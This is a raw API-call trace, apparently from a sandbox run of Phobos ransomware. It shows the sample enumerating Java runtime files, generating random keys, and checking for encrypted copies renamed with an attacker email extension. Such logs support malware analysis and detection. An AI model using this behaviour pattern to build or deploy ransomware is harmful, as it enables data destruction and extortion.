[0150.562] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.562] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.563] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=16448) returned 1 [0150.563] CloseHandle (hObject=0x564) returned 1 [0150.563] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe")) returned 0x20 [0150.563] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.563] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.563] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.563] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.564] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=16448) returned 1 [0150.564] CloseHandle (hObject=0x564) returned 1 [0150.564] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe")) returned 0x20 [0150.564] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.564] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.565] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=16448) returned 1 [0150.565] CloseHandle (hObject=0x564) returned 1 [0150.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe")) returned 0x20 [0150.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.565] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.565] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.565] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.566] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=16448) returned 1 [0150.566] CloseHandle (hObject=0x564) returned 1 [0150.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe")) returned 0x20 [0150.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.566] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.566] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.566] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.567] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=233536) returned 1 [0150.567] CloseHandle (hObject=0x564) returned 1 [0150.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll")) returned 0x20 [0150.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.567] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.568] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.568] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.568] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=36928) returned 1 [0150.568] CloseHandle (hObject=0x564) returned 1 [0150.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll")) returned 0x20 [0150.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.568] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.568] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.569] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=653888) returned 1 [0150.569] CloseHandle (hObject=0x564) returned 1 [0150.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll")) returned 0x20 [0150.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.570] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.570] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.570] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.570] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=660128) returned 1 [0150.570] CloseHandle (hObject=0x564) returned 1 [0150.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll")) returned 0x20 [0150.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.570] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.571] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.571] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.571] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=829264) returned 1 [0150.571] CloseHandle (hObject=0x564) returned 1 [0150.571] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll")) returned 0x20 [0150.571] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.571] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.571] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.571] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.572] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=963232) returned 1 [0150.572] CloseHandle (hObject=0x564) returned 1 [0150.572] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll")) returned 0x20 [0150.572] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.572] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.572] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.572] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.573] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=96832) returned 1 [0150.573] CloseHandle (hObject=0x564) returned 1 [0150.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll")) returned 0x20 [0150.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.574] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.574] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.574] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=60480) returned 1 [0150.574] CloseHandle (hObject=0x564) returned 1 [0150.574] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll")) returned 0x20 [0150.574] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.575] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.575] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.575] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.575] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19008) returned 1 [0150.575] CloseHandle (hObject=0x564) returned 1 [0150.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll")) returned 0x20 [0150.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.579] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.579] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.579] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.583] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=16448) returned 1 [0150.583] CloseHandle (hObject=0x564) returned 1 [0150.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe")) returned 0x20 [0150.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.583] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.583] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.583] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.584] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=16448) returned 1 [0150.584] CloseHandle (hObject=0x564) returned 1 [0150.584] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe")) returned 0x20 [0150.584] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.584] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.584] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.584] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.585] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=829264) returned 1 [0150.585] CloseHandle (hObject=0x564) returned 1 [0150.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll")) returned 0x20 [0150.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.585] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.586] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=234560) returned 1 [0150.586] CloseHandle (hObject=0x564) returned 1 [0150.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll")) returned 0x20 [0150.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.586] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.586] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.586] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.587] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=16448) returned 1 [0150.587] CloseHandle (hObject=0x564) returned 1 [0150.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe")) returned 0x20 [0150.587] 